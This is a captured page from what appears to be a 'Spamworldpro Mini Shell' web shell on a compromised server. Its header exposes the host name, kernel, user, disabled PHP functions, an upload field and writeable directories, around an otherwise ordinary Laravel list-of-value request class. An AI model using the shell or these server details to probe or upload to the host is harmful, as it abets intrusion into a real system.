Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/syn.corals.io/Corals/modules/Utility/Http/Requests/ListOfValue/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/syn.corals.io/Corals/modules/Utility/Http/Requests/ListOfValue/ListOfValueRequest.php
<?php

namespace Corals\Modules\Utility\Http\Requests\ListOfValue;

use Corals\Foundation\Http\Requests\BaseRequest;
use Corals\Modules\Utility\Models\ListOfValue\ListOfValue;
use Illuminate\Support\Arr;

class ListOfValueRequest extends BaseRequest
{
    /**
     * Determine if the user is authorized to make this request.
     *
     * @return bool
     */
    public function authorize()
    {
        $this->setModel(ListOfValue::class, 'list_of_value');

        return $this->isAuthorized();
    }

    /**
     * Get the validation rules that apply to the request.
     *
     * @return array
     */
    public function rules()
    {
        $this->setModel(ListOfValue::class);
        $rules = parent::rules();

        if ($this->isUpdate() || $this->isStore()) {
            $rules = array_merge($rules, [
                'status' => 'required',
                'value' => 'required',
                'display_order' => 'required',
                'properties.*.key' => 'required',
                'properties.*.value' => 'required',
            ]);
        }

        if ($this->isStore()) {
            $rules = array_merge($rules, [
                'code' => 'nullable|max:191|unique:utility_list_of_values,code'
            ]);
        }

        if ($this->isUpdate()) {
            $listOfValue = $this->route('list_of_value');

            $rules = array_merge($rules, [
                'code' => 'required|max:191|unique:utility_list_of_values,code,' . $listOfValue->id,
            ]);
        }

        return $rules;
    }

    public function getValidatorInstance()
    {
        if ($this->isUpdate()) {
            $data = $this->all();

            $data['hidden'] = Arr::get($data, 'hidden', false);
            $data['display_order'] = Arr::get($data, 'display_order', 0);
            $data['properties'] = Arr::get($data, 'properties', []);

            $this->getInputSource()->replace($data);
        }

        return parent::getValidatorInstance();
    }

    public function attributes()
    {
        $attributes = [];

        foreach ($this->get('properties', []) ?? [] as $index => $solution) {
            $attributes["properties.*.key"] = trans("Corals::labels.key");
            $attributes["properties.*.value"] = trans("Corals::labels.value");
        }

        return $attributes;
    }
}

Spamworldpro Mini